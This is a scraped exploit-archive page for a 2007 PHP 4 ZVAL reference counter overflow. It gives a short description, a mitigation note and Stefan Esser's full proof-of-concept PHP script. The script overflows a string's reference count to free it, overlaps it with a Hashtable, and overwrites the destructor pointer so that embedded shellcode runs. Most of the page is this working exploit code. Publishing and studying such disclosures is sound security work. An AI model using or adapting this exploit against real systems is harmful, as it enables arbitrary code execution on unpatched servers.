Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
PHP 4 - ZVAL Reference Counter Overflow - exploit.company
header-logo
Suggest Exploit
vendor:
PHP
by:
Stefan Esser
7.5
CVSS
HIGH
Memory Corruption
119
CWE
Product Name: PHP
Affected Version From: PHP 4
Affected Version To: PHP 4
Patch Exists: YES
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
2007

PHP 4 – ZVAL Reference Counter Overflow

This exploit takes advantage of a reference counter overflow vulnerability in PHP 4. By creating a string with the same size as a Hashtable and creating a large number of references to it, the reference counter overflows and the string gets freed. Then, by freeing more zvals and creating a new array with a specific key, the exploit gains access to the Hashtable's content and can execute code in the shellcode.

Mitigation:

Upgrade to a newer version of PHP as this vulnerability was fixed in later versions. Additionally, ensure that all user input is properly validated and sanitized to prevent any potential exploitation.
Source

Exploit-DB raw data:

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //               PHP 4 - ZVAL Reference Counter Overflow              //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // You can put in any shellcode you want. Just make sure that the
  // shellcode string is long enough to not end up in PHP's internal
  // memory cache

  $shellcode = str_repeat(chr(0xcc), 500);

  // The basic idea of this exploit is:
  //  1) Create a string that has the same size as a Hashtable
  //  2) Create 65536 references to it to overflow the refcount
  //  3) Free one of these references 
  //      => Refcount drops down to 0
  //      => String gets freed
  //  4) Free some more zvals
  //  5) Create a new array with one element
  //      => Put shellcode in the key
  //      => Hashtable struct will be in the same place as the string
  //  6) Use string to directly access the content of the Hashtable
  //      => Read pointer to first bucket
  //      => Add 32 bytes, offset to array key
  //      => Write pointer to the destructor field
  //  7) Unset array => Executes code in $shellcode
  
  ////////////////////////////////////////////////////////////////////////
  // If you touch anything below this line you have to debug it yourself
  ////////////////////////////////////////////////////////////////////////

  $________________________str = str_repeat("A", 39);
  $________________________yyy = &$________________________str;
  $________________________xxx = &$________________________str;
  for ($i = 0; $i < 65534; $i++) $arr[] = &$________________________str;
  $________________________aaa = "   XXXXX   ";
  $________________________aab = " XXXx.xXXX ";
  $________________________aac = " XXXx.xXXX ";
  $________________________aad = "   XXXXX   ";
  unset($________________________xxx);
  unset($________________________aaa);
  unset($________________________aab);
  unset($________________________aac);
  unset($________________________aad);
  $arr = array($shellcode => 1);

  $addr = unpack("L", substr($________________________str, 6*4, 4));
  $addr = $addr[1] + 32;
  $addr = pack("L", $addr);

  for ($i=0; $i<strlen($addr); $i++) {
    $________________________str[8*4+$i] = $addr[$i];
    $________________________yyy[8*4+$i] = $addr[$i];
  }
  unset($arr);

?>

# milw0rm.com [2007-03-01]